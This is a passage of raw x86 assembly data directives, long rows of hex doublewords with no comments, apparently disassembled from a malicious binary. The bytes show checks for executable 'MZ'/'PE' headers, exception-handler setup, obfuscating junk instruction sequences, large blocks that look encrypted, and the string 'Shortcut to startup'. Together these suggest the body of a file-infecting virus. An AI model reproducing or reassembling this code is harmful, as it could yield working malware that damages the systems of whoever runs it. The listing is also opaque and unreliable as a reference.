		dd 60B5FF06h, 890647B7h, 4431F995h, 7D95FF06h, 6A06442Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FF74C356h, 47B760B5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 55662A8Ch
		dd 57E6DD69h, 30758D01h, 0FF5B0644h, 44144195h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 14E9F5h, 0A77D0000h,	0A9C47159h, 835EAE7h, 580D03E2h
		dd 8B79822Bh, 0EBF7CF6h, 336F100Ah, 4413CD9Dh, 85BD8306h
		dd 206440Ah, 5D840Fh, 9D290000h, 6441EB5h, 1591858Bh, 6A0644h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 2CDB2EC3h, 0C19D3306h, 0C6064432h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 2AADCFC3h, 37BF669Dh, 81BD0913h, 0C7064414h,	44175985h
		dd 6, 85895700h, 6442EF1h, 0E9FA8A5Fh, 0FFFFF3DCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D9C35141h, 0D8B70FADh
		dd 2C98D09h, 0C18B0644h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 66C35040h, 0EB7851D1h, 2CB32FD9h, 0EE9h
		dd 71FFB700h, 0CD6F04B2h, 36693C56h, 0BAC9A304h, 0F00DE000h
		dd 0EA81h, 0C283F000h, 9D958914h, 83064416h, 858D14EAh
		dd 649390Bh, 35FF6450h,	0
		dd 258964h, 0E8000000h,	0
		db 'X+б%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 198589C8h, 3064425h,	0B70F3C40h, 95890650h, 64421F1h
		dd 8950508Bh, 442A5195h, 0F80506h, 508B0000h, 89D1030Ch
		dd 44305995h, 8500306h,	19D59589h, 8F640644h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 2381BD83h, 0F000644h, 2484h,	0E985C600h, 47064402h
		dd 9AA7D268h, 0E9B5FFD4h, 8D064417h, 4777AF85h,	6AD0FF06h
		dd 89D0FF00h, 441CB585h, 0E8D38B06h, 0Eh, 525EACB2h, 27121401h
		dd 8E289577h, 0F860A82Bh, 0BE665861h, 0C081151Eh, 64CDh
		dd 5652D233h, 0B44C7FBEh, 0FF5B5F33h, 0BE660234h, 8159D5F8h
		dd 75A5F7E9h, 81F98B27h, 1AA01EF1h, 6E82Fh, 4BD50000h
		dd 0A2421BFAh, 5D71EB81h, 815B6684h, 493FECC1h,	0C89F549h
		dd 0C6816610h, 0C381B148h, 7E0806B8h, 6604EA83h, 0FA81F38Bh
		dd 0FFFF9BD0h, 19850Fh,	81660000h, 0E9544ECFh, 21h, 887BA07h
		dd 0B18FA444h, 0C55D590Bh, 0FCFF529h, 82h, 0FF8DE900h
		dd 5D19FFFFh, 13C51F05h, 678D8D00h, 906493Ah, 4424DD95h
		dd 5D8D8906h, 6606442Fh, 0C7FFA7BBh, 44067985h,	66AC06h
		dd 3D958900h, 0B606442Dh, 7185C700h, 64410h, 29000000h
		dd 4424C195h, 8DB5FF06h, 6A064431h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FF79C351h
		dd 440BF995h, 3800F06h,	80000000h, 6A08E8h, 1C4D95FFh
		dd 0C08B0644h, 0F756BEBh, 0B28925CBh, 0A72CEA8Ch, 4588E52Eh
		dd 23CF1764h, 79776B34h, 0A6275BB6h, 0E3F8E7D7h, 1ACD6BBAh
		dd 81A906F3h, 0A6DF0AD3h, 0F3BC1Fh, 77B368BFh, 62AA03B1h
		dd 174EF5CEh, 9BEB6209h, 0B23A56A3h, 261A9EDFh,	0A9AB8FBEh
		dd 6515CD7Ch, 28A058FCh, 2E7163D3h, 8C67024Fh, 9CEDD909h
		dd 0CC519D65h, 0F49A077Ah, 0D7A3AA0Ah, 7B8D8DFAh, 0F06493Bh
		dd 8D89F9B7h, 6442F5Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 43C35545h, 0EDCEF081h, 85C727A6h, 6440679h
		dd 65C4h, 81665360h, 5BFB3DF3h,	3C5958Bh, 89610644h, 441F3DB5h
		dd 7185C706h, 64410h, 8B000000h, 4403D99Dh, 99B5FF06h
		dd 0B8064410h, 58508B1Ch, 95FFF98Ah, 6440BF9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0FAC35747h, 6316F3AAh
		dd 8B531E8Ah, 441CB985h, 6A5A06h, 1C4D95FFh, 0C08B0644h
		dd 0C7B4EEBh, 5A4CFBB3h, 622DE9B3h, 0D12F8727h,	12AE5DF8h
		dd 36434EE9h, 0D472DE6Eh, 568C5E3Eh, 0AA52F1BDh, 2F4121Bh
		dd 74D2D5CEh, 64B98D33h, 0CDE04B4Bh, 1A918831h,	82D6AA2Fh
		dd 0EFC83EB6h, 0B80016BEh, 43FCF60Bh, 533EE39Ch, 0AA30D6E8h
		dd 0D9BF5420h, 0E962324Ah, 1333213h, 58F06B28h,	5177E8Dh
		dd 5177683h, 133321Ch, 0D4F063C1h, 21C5E5FFh, 0D5581134h
		dd 0E379A61h, 131A08Ch,	56335804h, 13331EAh, 0C26C1201h
		dd 254FBBDFh, 2577B344h, 1332E24h, 0C2647510h, 0E1E85051h
		dd 0C6024079h, 13DDB2Ch, 0B3FF3201h, 0F3AE9D1h,	80B93E84h
		dd 0BB6AD0Eh, 307A8F93h, 0E33344Ch, 1334480h, 57335802h
		dd 13331E9h, 0C26D1280h, 2547BB1Eh, 2577B324h, 1332F14h
		dd 0C2657408h, 0C50FF199h, 6D1F1B88h, 0BCB87468h, 7772C79h
		dd 10DA17F2h, 0F1333220h, 0D4DB9A9Dh, 3DB50CC4h, 641A27BDh
		dd 51E9189Ah, 13134E8h,	54335880h, 13331A8h, 0C26E1220h
		dd 255FBB4Dh, 2577B30Ch, 1332E00h, 0C2667702h, 43E19136h
		dd 0EEACCAF3h, 486B92Fh, 6735763Ch, 515559AEh, 137B807h
		dd 0BF553204h, 5BA44EDh, 3CC725h, 6BCD16CCh, 2DB6540h
		dd 21333220h, 886CF14Fh, 80371674h, 16371640h, 46333202h
		dd 18F3F156h, 8A552693h, 0BCB86AB1h, 7771351h, 611FF293h
		dd 2522A781h, 8F3C3440h, 1333204h, 297ABF8Ah, 8A5234C4h
		dd 67CBB948h, 6BCF7AABh, 2DB6210h, 21333208h, 886BF15Ch
		dd 80371646h, 16371645h, 41333280h, 51BF110h, 8055738Dh
		dd 0ECC0429h, 133CB8Ch,	50335804h, 13331EAh, 0C26A1201h
		dd 257FBBD9h, 2577B344h, 1332624h, 0C2627310h, 74AEBB9Dh
		dd 0E8357607h, 1333207h, 45618154h, 8F2B126h, 38B3E2CBh
		dd 19B63DC9h, 6B333211h, 2DB6408h, 21333204h, 886DF15Ch
		dd 80371675h, 1A3716C4h, 47333240h, 0EC7EF176h,	0E8FCEF98h
		dd 0BC10EC69h, 777311Dh, 6B327389h, 2DB6701h, 21333280h
		dd 886EF11Dh, 8037164Ch, 1A371654h, 44333208h, 0F120F151h
		dd 8CECC598h, 94BA42ACh, 7773EE5h, 159FA43h, 130DA71h
		dd 58133210h, 4DBA6BCBh, 45B23620h, 1293626h, 50723201h
		dd 59DB8743h, 0A178B97Ch, 7D2872Bh, 0BE553454h,	0C0B0191Fh
		dd 50335801h, 13331EAh,	0C26A1201h, 257FBBD9h, 2577B344h
		dd 1332E24h, 0C2627310h, 0D5CF3362h, 0B245F4D4h, 0DBB85447h
		dd 4AA30B80h, 843CB9C3h, 133321Fh, 8BABFA9h, 8CBE3454h
		dd 7777C5Dh, 0E966326Eh, 1333201h, 5CF06F21h, 5175E09h
		dd 51776C1h, 133323Bh, 0A8F06755h, 69C6AAEEh, 532925CDh
		dd 1308A59h, 893C3201h,	133328Fh, 13338A9h, 0FBBC3520h
		dd 59450F47h, 8AC85782h, 4500EFB9h, 28D2CD04h, 453493BCh
		dd 1B93D86h, 60333240h,	8CCA8D2Fh, 4808FCADh, 0B0BEBF0Eh
		dd 0B9357B3Ah, 0A1B176h, 2AF2B732h, 0CE1834C4h,	0D9BF5420h
		dd 0E962324Ah, 1333213h, 58F06B28h, 5177E8Dh, 5177683h
		dd 8333321Ch, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0B70B37C3h, 0CB80D181h
		dd 51006A1Dh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 99C95256h, 62DDCD54h, 2F599D29h,	0D38B0644h
		dd 0E8C38BF8h, 0Ah, 7ED3B57Dh, 0E1E1C0BBh, 8B6671B0h, 8D295FD7h
		dd 6442439h, 5F1BC781h,	810F0000h, 5, 0E2FD9AB8h, 6878h
		dd 5BF90000h, 248DBD29h, 34FF0644h, 185293Bh, 5E06440Dh
		dd 0F6810FB5h, 7A96B298h, 9190EE81h, 0E2800C41h, 0B3C68161h
		dd 8B5D155Ah, 4413B985h, 0BF0F5606h, 1F048FCEh,	19D9958Bh
		dd 0CB8B0644h, 101EB83h, 4402758Dh, 4B4B4B06h, 1081BD09h
		dd 0FB810644h, 0FFFFA184h, 0FFAC850Fh, 11E8FFFFh, 6B000000h
		dd 0C3F5F52Fh, 0E5F04414h, 0EF71325Ah, 0A08B8321h, 0CB18D89h
		dd 0DE590644h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch
		dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 33DC24DAh, 0FFB44E60h
		dd 0F867A5E4h, 0A0DC31DAh, 2437A3BEh, 79672074h, 0F1E1A3BAh
		dd 0D71B2077h, 33DC05B2h, 831D2933h, 0C0982633h, 0EFA7FFB6h
		dd 0D6157635h, 0AFD119F8h, 0AD0DD963h, 839E6216h, 35982664h
		dd 1F152359h, 4BD119E8h, 6D1DAB63h, 39E6F0Ch, 0A9C9B3CCh
		dd 14932077h, 6AA1A23Ch, 0B0152633h, 9CD119E8h,	4DAACE63h
		dd 0F6D82633h, 6C79A3BEh, 24C8207Ah, 9DA7FDB6h,	0FF677635h
		dd 33DC2F92h, 1794E2B0h, 4A7FDB6h, 23157635h, 55D119F8h
		dd 0D00DD963h, 3D9E6216h, 6A982651h, 6474AD66h,	11CE7464h
		dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch
		dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h
		dd 0E868AD03h, 5AAD63h,	0A9982C88h, 0D49BCF33h,	896F2633h
		dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh,	0D697E638h
		dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h,	9CD119FAh
		dd 0D66ABBEh, 9320207Ah, 78000000h, 271E7FCh, 0C8D00731h
		dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 64940FEh,	411D8D8Dh
		dd 0CF2B0649h, 8B05E983h, 0AE8C8h, 0BC6A0000h, 0D0AAD96Ch
		dd 1D4DD75Ch, 2BDB52Bh,	805A0644h, 0C281C3C1h, 5A7Ch, 736D81BBh
		dd 166BBF0Bh, 0CF800000h, 3132FF9Bh, 4423459Dh,	85895806h
		dd 64429D5h, 0C4D6E881h, 8D8B6A0Ah, 6441FC1h, 8279C081h
		dd 0CE95DA7h, 0C2000000h, 4AB7CED4h, 0C209B7A3h, 812D9A06h
		dd 1E8387F0h, 0CDB58B64h, 50064433h, 12E9h, 0C93F0500h
		dd 0AD262B8Ch, 0C9ABEF1Bh, 3D768860h, 8F6D8D1Fh, 19D8902h
		dd 83064409h, 816601EAh, 4A02BCC9h, 0EF814A4Ah,	1, 14850Fh
		dd 0DF8B0000h, 31E9h, 2AED2700h, 1CCAD85Dh, 0BB2973C9h
		dd 6E91495h, 0CC000000h, 3E63AA4Ah, 0FF67E9D3h,	0DB5FFFFh
		dd 0A2E123EAh, 0C7EF673Bh, 0EE70E98Ch, 5FD8F8A6h, 3B3B0596h
		dd 524563CDh, 71D633CDh, 0D833F095h, 0D0B11789h, 45DE1789h
		dd 116D33CDh, 0EBC6F09Dh, 65125252h, 51C7F346h,	51D5DB9Eh
		dd 0A4B33CDh, 0D3C680Eh, 155B37E9h, 517637E9h, 2F533CDh
		dd 93BB690Eh, 67F152FAh, 0AE693C1Ch, 0CCA68CABh, 71788E4Eh
		dd 24DA3589h, 74D0B0C4h, 51B077C6h, 20B2AB9h, 5215F346h
		dd 0D8D633C9h, 1569C648h, 1E28BECBh, 0AEDC7565h, 0D235681Eh
		dd 15BD1670h, 462F33CBh, 5215609Dh, 0D8D633C9h,	1569C648h
		dd 6F28BECBh, 0AEDC7568h, 5835681Eh, 159D9A48h,	57D73CCBh
		dd 0D0AD33CDh, 0A445873Eh, 3BABB8C1h, 525D64CDh, 71DA33CDh
		dd 0D832F092h, 0D0B217B1h, 455F1789h, 16AD33CDh, 3727F09Ah
		dd 0DC62EB41h, 57F12974h, 0DC5353ADh, 572938F8h, 55EB2ABh
		dd 0F93A525Dh, 8F293CC9h, 0DAD633CEh, 1567AE58h, 1808B0CBh
		dd 51DC77FCh, 5174B7C2h, 975F33CDh, 0D85B33CEh,	158D7A48h
		dd 51DFDACBh, 3DE933CDh, 0A88975AAh, 0EFD434E3h, 536D14CDh
		dd 7187AEFEh, 45B33589h, 8FAD33CDh, 449570BCh, 7FF48276h
		dd 732AE6C0h, 0EC297447h, 0D0349EC1h, 5A1CDF3Ah, 0D4D66AE9h
		dd 57EA5A0Fh, 36E01F76h, 0A9BBCCEFh, 0D5BAF348h, 51DA32C6h
		dd 0B93833A7h, 51B633CEh, 0C986EEDh, 55895F44h,	55F2774Ch
		dd 516B33D5h, 52766688h, 2DFB4D54h, 516BBAC2h, 3D633CDh
		dd 303A5394h, 37FA0B4Ch, 0D4D9C84Ch, 516B3389h,	4BD8AE44h
		dd 5B333589h, 376D33CDh, 66707053h, 0EAF952C8h,	292C5559h
		dd 5ED431C9h, 51680949h, 2B559CDh, 51DA3025h, 923613CDh
		dd 75EABA96h, 751FB2C9h, 51AD2AC9h, 928570CDh, 52F81386h
		dd 823EDF01h, 0CDE2B2ABh, 0D5E83CADh, 3BB633CDh, 52B360CDh
		dd 71AD33CDh, 0D88DF096h, 0D06F1791h, 4CB11789h, 12DA33CDh
		dd 0F550F09Eh, 0F46D9E2Bh, 30101986h, 4F6CBE46h, 0D0B03589h
		dd 0D132222Ah, 5E5D31B5h, 51DA7948h, 36D59CDh, 51B63025h
		dd 920113CDh, 75F9BA97h, 7592B2C9h, 516B26C9h, 92E771CDh
		dd 945AEC19h, 0B4D0BA1Ah, 31B077E5h, 71B1B2ABh,	0D0CB5290h
		dd 0FAD635B5h, 517AB6C2h, 0D9BA33CDh, 51DA33CDh, 516FBD24h
		dd 443B1ACDh, 0EF5D77EFh, 17AC32CDh, 477FBE46h,	0EC5A3589h
		dd 57F139BCh, 3818B640h, 5E3B358Ah, 51B63543h, 58EE1ACDh
		dd 0AAB77E2h, 51BCE332h, 5168DB9Bh, 0F9533CDh, 25536D0Eh
		dd 15EC37E9h, 51A337E9h, 71D33CDh, 3722D90Eh, 0D89D5672h
		dd 157B7670h, 5E75B6CBh, 51D82349h, 70D0B8CDh, 0D0B077C9h
		dd 536655F5h, 19283CCFh, 3BD633CDh, 528363CDh, 71B533CDh
		dd 0D882F095h, 0D0691789h, 48B21789h, 115B33CDh, 776EF09Dh
		dd 72DECFF8h, 0D0D9F14Dh, 6CD335B5h, 0D5D54992h, 516D3222h
		dd 51B62124h, 0C28F0ECDh, 0E6A2A2BAh, 6BFF7398h, 7662B1D6h
		dd 37E11D79h, 31460B4Ch, 51E1B6C2h, 51DC33CDh, 5158DB9Bh
		dd 0F8D33CDh, 255F6D0Eh, 15EA37E9h, 51A037E9h, 79C33CDh
		dd 6223270Eh, 15A3BA40h, 5323B3CBh, 0E283C25h, 3BD633CDh
		dd 528363CDh, 71B533CDh, 0D882F095h, 0D0691789h, 46B21789h
		dd 115B33CDh, 0BD22F09Dh, 0ECDF61C1h, 572F33F8h, 57CDB2ABh
		dd 0D4D5F3CDh, 516D33E3h, 0B9E533A7h, 515B33CEh, 0A6E68EDh
		dd 55F26F44h, 554F774Ch, 51B533DBh, 4B19608Eh, 0D45C7513h
		dd 57F21F7Ch, 515A7524h, 0BA2C55CDh, 51688D3Ah,	5E1532CCh
		dd 0D438E472h, 579D5A0Fh, 0B93B33A7h, 51B633CEh, 0F986DEDh
		dd 55894744h, 55F2774Ch, 516B33DBh, 0A276658Bh,	8125825Bh
		dd 783FFD46h, 15AF0A58h, 91DE68CBh, 5172B7C2h, 51BC33CDh
		dd 5168DB9Fh, 0B9533CDh, 553690Eh, 15EC37E9h, 51A237E9h
		dd 31933CDh, 0B9275E0Eh, 5E3E0B4Dh, 516B6048h, 0B559CDh
		dd 51DA3025h, 923413CDh, 75FABA94h, 751FB2C9h, 51AD24C9h
		dd 928772CDh, 0D4B91F8Ah, 0E867D24Dh, 6D06914Eh, 22684B4Dh
		dd 5194B6C2h, 0E83D33CDh, 0C49E384Fh, 57923008h, 26C4B4Dh
		dd 5120B7C2h, 0D7D533CDh, 516D33C5h, 51323C9Ch,	0E5B33CDh
		dd 0DE95B2ABh, 0B533CC8h, 376B33CDh, 0D119DB77h, 5EB235B5h
		dd 516D7F48h, 3769B8CDh, 0AE504B4Ch, 6F283CE8h,	3BD633CDh
		dd 528364CDh, 71B533CDh, 0D885F092h, 0D06917B1h, 44B21789h
		dd 165B33CDh, 18A6F09Ah, 51D62224h, 0C76BE7CDh,	0CE10143Dh
		dd 3F83693Fh, 0AD344BF2h, 795F0401h, 505B33CDh,	15A33250h
		dd 51D68BCBh, 568233CDh, 0E5B533CDh, 9A85D046h,	4F848F98h
		dd 5AB633CDh, 15561258h, 3C3800CBh, 0E9D077D1h,	516B33CCh
		dd 51B7B8C2h, 9E5133CDh, 69A7B2ABh, 5B5E63D4h, 0AA5B33CDh
		dd 0D9F56743h, 0A248E593h, 0CED25587h, 553C6A0Bh, 0A76555E9h
		dd 0A9D0BEB5h, 0DCB07A8Ch, 181C1840h, 48E8BCBh,	0D4D544ABh
		dd 572F29C0h, 5168FCE6h, 5E1532CCh, 0D438E472h,	579D5A0Fh
		dd 0B93B33A7h, 51B633CEh, 0F986DEDh, 5E98344h, 0F58A4F3h
		dd 68Fh, 19958900h, 66064404h, 850FD98Bh, 6, 31A58D8Bh
		dd 0C00B0644h, 71840Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 10CB5CC3h, 0B2DB8166h
		dd 55B58D64h, 2906444Eh, 442CD5B5h, 3B806h, 850F0000h
		dd 10h,	0BE9h, 0A9519000h, 0B746C0AAh, 2B902052h, 6AE6FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 8D3DACC3h, 759D0193h, 40064425h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0FC35040h, 0BE9h, 88794100h
		dd 41ECB229h, 84922217h, 0A0DFB8B9h, 6AC08B69h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 89F1C356h, 440A8DB5h, 0A9BA6606h, 0CDBD83BFh, 64420h
		dd 0BD830975h, 6440B25h, 50197400h, 0B8C08B53h,	403h, 22298589h
		dd 9D8D0644h, 646A8B6h,	585BD3FFh, 0B25BD83h, 74000644h
		dd 0B8535017h, 403h, 22298589h,	9D8D0644h, 646A557h, 585BD3FFh
		dd 8D896060h, 6441D79h,	31D9958Bh, 0E8610644h, 7, 777C2BD2h
		dd 0E8481050h
		dd 13h,	0DC99C157h, 461A3EF8h, 0AF032449h, 0E0A3CDEAh
		dd 5E0358B5h, 8B666159h, 2CBA66D9h, 0FC08B10h, 8D61C8BFh
		dd 4949788Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 5D8D89CBh, 6A06442Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0B7E9C350h
		dd 4B271FFh, 3C56CD6Fh,	0C7F1BF0Fh, 44067985h, 5FD806h
		dd 81B52900h, 0C7064408h, 44107185h, 6,	22DE8100h, 0FF5CFFC4h
		dd 441099B5h, 0FD78B06h, 682h, 5952300h, 0FF06441Ch, 440BF995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0F9B52919h, 6A06442Eh, 4D95FF00h, 8B06441Ch
		dd 974EEBC0h, 0D61584AEh, 3943875Bh, 75F29051h,	556B6289h
		dd 0D90D6A5Ch, 26999BE9h, 5BC075B3h, 0A8F78D59h, 1FA71312h
		dd 4377E5B7h, 98D8EB29h, 0D12B9D27h, 6D87557Ch,	6EC09D9h
		dd 3C74251Ch, 629BBC07h, 0F2415h, 0B52832BBh, 65BE710h
		dd 0AF8D8D41h, 0F506494Ah, 2F5D8D89h, 85890644h, 6442129h
		dd 65858B60h, 8106441Dh, 73D6F7E1h, 85C76117h, 6440679h
		dd 6B40h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	18C35141h, 0ED122A00h, 8BE55827h, 44174985h, 7185C706h
		dd 64410h, 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0A072C357h, 95B58982h,	0FF064402h
		dd 441EB9B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 3EA8132Dh, 0F995FFCAh, 6A06440Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0B1EEC350h, 61C56554h, 7E922E2h, 0E2000000h
		dd 0BD2F8365h, 6A6E90h,	1C4D95FFh, 0C08B0644h, 4EE76DEBh
		dd 3C17CB31h, 6CFB93D8h, 4D49D10Eh, 343BD9CFh, 22C41443h
		dd 607929F1h, 25DB2D18h, 0D8540E19h, 0C09B2ABBh, 3A1A7A01h
		dd 58F508EEh, 98115843h, 9940E536h, 0DDEA9F4Dh,	0D52A9569h
		dd 7BE5B396h, 0E4DE88D8h, 98FECE0h, 3717FC8Ah, 358DD79Ch
		dd 81403D91h, 853D7404h, 5A21B460h, 0CCC3EDF6h,	0F7ACA12Ch
		dd 288310D1h, 0E8917B3Ch, 10h, 0A4840F68h, 449DD6CFh, 3005241Bh
		dd 9AD6F2E3h, 6659DF8Bh, 0EDB8CE81h, 6A7AC181h,	860F0000h
		dd 5, 963C52BBh, 6872h,	95230000h, 64402BDh, 9E85Fh, 14430000h
		dd 29F122C4h, 52186079h, 48B5A5Ah, 0EDB58B39h, 81064408h
		dd 0E78F01C0h, 55958B00h, 81064407h, 0E4CB57E8h, 0B59D8942h
		dd 8106442Ch, 0B9548AF0h, 41958B70h, 89064415h,	0B70F3904h
		dd 4EF83DBh, 9B1B589h, 0FF810644h, 0FFFF9654h, 18850Fh
		dd 0BD890000h, 6443195h, 39E9h,	0A7860B00h, 515CCA18h
		dd 85089EDDh, 0EE8534Dh, 7A000000h, 0D3C22402h,	2A0018DDh
		dd 5827ED12h, 70F681E5h, 5B29B3A4h, 0FFFF81E9h,	0EB6A2AFFh
		dd 66B13023h, 812ECB22h, 9D8D4FEAh, 64410A9h, 39B8h, 29858900h
		dd 0E806442Ah, 0
		dd 0D0558h, 3890000h, 39E9h, 0E6000000h, 0Dh dup(0E6000077h)
		dd 6CEBFF77h, 726F6853h, 74756374h, 206F7420h, 72617473h
		dd 707574h, 14h	dup(0)
		dd 77334C1h, 1,	107CE9h, 4E9E6800h, 9DE90649h, 68FFFBFBh
		dd 6494FB3h, 0FBFB93E9h, 51A168FFh, 89E90649h, 68FFFBFBh
		dd 64951E0h, 0FBFB7FE9h, 52C268FFh, 75E90649h, 68FFFBFBh
		dd 6495393h, 0FBFB6BE9h, 57DD68FFh, 61E90649h, 68FFFBFBh
		dd 6495AD8h, 0FBFB57E9h, 5BA968FFh, 4DE90649h, 73FFFBFBh
		dd 0AE8DE8CFh, 70533611h, 0AB88EDCAh, 71523710h, 9A8EEBCCh
		dd 2502BFDEh, 0FADD6340h, 2205BC9Fh, 0FBDC6447h, 0D87C1F9Eh
		dd 31628E6Eh, 6650651h,	628E14A2h, 0E2652B31h, 366C516Dh
		dd 0CB7251CDh, 52DE59ECh, 8DAECDEAh, 9CA71235h,	452007BFh
		dd 0F14CAC6Fh, 1271EDD6h, 2BC300B6h, 37AB3737h,	0A08FF054h
		dd 125C3DE7h, 6BCF0CCFh, 316F46DDh, 45307EE2h, 61C5A6C3h
		dd 316F84D7h, 4CC174E8h, 0E54FEBD0h, 0F316F84h,	0D7F46EAEh
		dd 0CBFA4F68h, 77F29FA4h, 5997E7A9h, 0E6668508h, 4F1153h
		dd 11720000h, 6FF703B5h, 1DA83431h, 435C129Ah, 652EEEF4h
		dd 0C137D33h, 5F261EA0h, 5C19C0EAh, 664C9B3Fh, 6FF33DE7h
		dd 64912F0Ch, 0BD55B3DEh, 8D38A4D1h, 3AB812B6h,	0F352316Fh
		dd 0B7D59BCBh, 74ED4CB5h, 0DBF2C376h, 0B177F2E3h, 0DDh
		dd 0CDEA5236h, 4F68D5F6h, 0C8EF5774h, 0FABC8ABh, 372BC3B9h
		dd 0F046E27Eh, 0C7372BC3h, 0F6D5EE5Bh, 6F0C694Eh, 0EAD1F64Ch
		dd 1E67C376h, 0B7372BCCh, 6E4D280Fh, 0E0CAF1D6h, 7C1F7C39h
		dd 0FBC0E75Fh, 0D176D267h, 0EE3DE7CAh, 54EE76CDh, 48D44873h
		dd 89EC70FDh, 5C3FF8A3h, 0A12D01F8h, 0DBB8243Bh, 0C97FDBB8h
		dd 0EE3BA16Dh, 59E4C772h, 85381B7Eh, 6D4FF95Dh,	3E703BA1h
		dd 8266484Bh, 0EF73EF3Ch, 6E5F397Dh, 1C99A25Dh,	0DE8h
		dd 325770CCh, 0EC89AE11h, 375275CFh, 0ED88AF14h, 315473CEh
		dd 0B9047525h, 66D8FB9Eh, 0BE072441h, 67DFFC99h, 0C7A42540h
		dd 628DD563h, 3ABDEA31h, 0ABC8EF52h, 0DEAC86C8h, 7759EAE7h
		dd 2BB365D3h, 88C65A37h, 3BCC618Dh, 0F491242Eh,	2D486FD7h
		dd 0C7A05BAAh, 0D563C7A4h, 0EA372BC3h, 0E96C3876h, 12290F4Fh
		dd 0B760C4A7h, 0CA3DE7D3h, 63C96D56h, 89316FB3h, 0EE76C9EAh
		dd 0A0EE7255h, 66A8D5F9h, 9332875Dh, 61D8FB6Bh,	0ABC2F346h
		dd 8177F2BEh, 0D0h, 89311206h, 80381BAEh, 2BF9CA7h, 81254625h
		dd 372BC337h, 1A219408h, 0C0E75A79h, 0FF4467FBh, 0B0C96DD8h
		dd 0D5372BCCh, 0A711B56Dh, 98372BC6h, 0DEFD9804h, 507A4166h
		dd 0E1AFCCA9h, 0A10D089Eh, 0D6B500B7h, 0E7FCD572h, 73C9EA3Dh
		dd 497255EBh, 370749D5h, 0DB396835h, 8E129F2Ah,	5D1AC1EBh
		dd 81A61D3Eh, 1BF35734h, 3C3BA1C3h, 5DE0C3A0h, 813C1F7Ah
		dd 9D6634A6h, 0A8935D6Fh, 0CD32Dh, 7A5DE100h, 0A4833C1Fh
		dd 7F58E2C1h, 0A582391Ah, 795EE3C0h, 2950081Ch,	0F5D6B394h
		dd 2A096C4Bh, 0F2D1B493h, 89086D4Ah, 8CF84EEAh,	0E8BF3162h
		dd 0C8EF526Fh, 143388ABh, 6306B32Fh, 0BADFF840h, 6641FAD9h
		dd 6A2C15Dh, 372BC3B0h,	29AE1B87h, 0C972EA52h, 2A4972EEh
		dd 9729B109h, 0BA992CB0h, 6A402502h, 3195F6AFh,	3DE7AF1Ah
		dd 0A1C2A13Dh, 0E0D066C2h, 7BE7316Fh, 6FE069DFh, 67D24E31h
		dd 0FA713F5Ch, 0BA9D243Bh, 41FE20F4h, 4BFA50F4h, 0B110316Fh
		dd 4CF6D58Dh, 79CC506Bh, 0F2632548h, 0E0B77h, 4B680000h
		dd 72EED5F2h, 3FF440C7h, 73000009h, 0AC8B3112h,	0AF883319h
		dd 328CAFCCh, 7B22E15h,	0E7B4B0A3h, 605BC73Dh, 0DC63FB43h
		dd 270467FBh, 53E54199h, 64316FCEh, 0B4D164F8h,	8B72F97h
		dd 930F2890h, 13280FB0h, 5370138Fh, 0B8F6CDEAh,	61309881h
		dd 0AB1E821Dh, 3BE83490h, 0F75698A3h, 4067DFC7h, 26BE0625h
		dd 1B20BC9Bh, 0A37B14BFh, 279D5Ah, 57A2183Bh, 3DC8D137h
		dd 89B22E6Ah, 6A1C40E1h, 4A68F4D3h, 90B3B3EBh, 0A8340F28h
		dd 5E863E1Dh, 0A3D74CFAh, 0F03D735Ah, 1928C377h, 52F69509h
		dd 5AA370E4h, 0BEDB47DBh, 3902259Dh, 0A370329Dh, 2D51F05Ah
		dd 8FA81635h, 0BE9D28B4h, 67442106h, 3CA42ADFh,	0FA519717h
		dd 0C4775D66h, 13AB88EBh, 46E28134h, 506FDB91h,	3A593CA0h
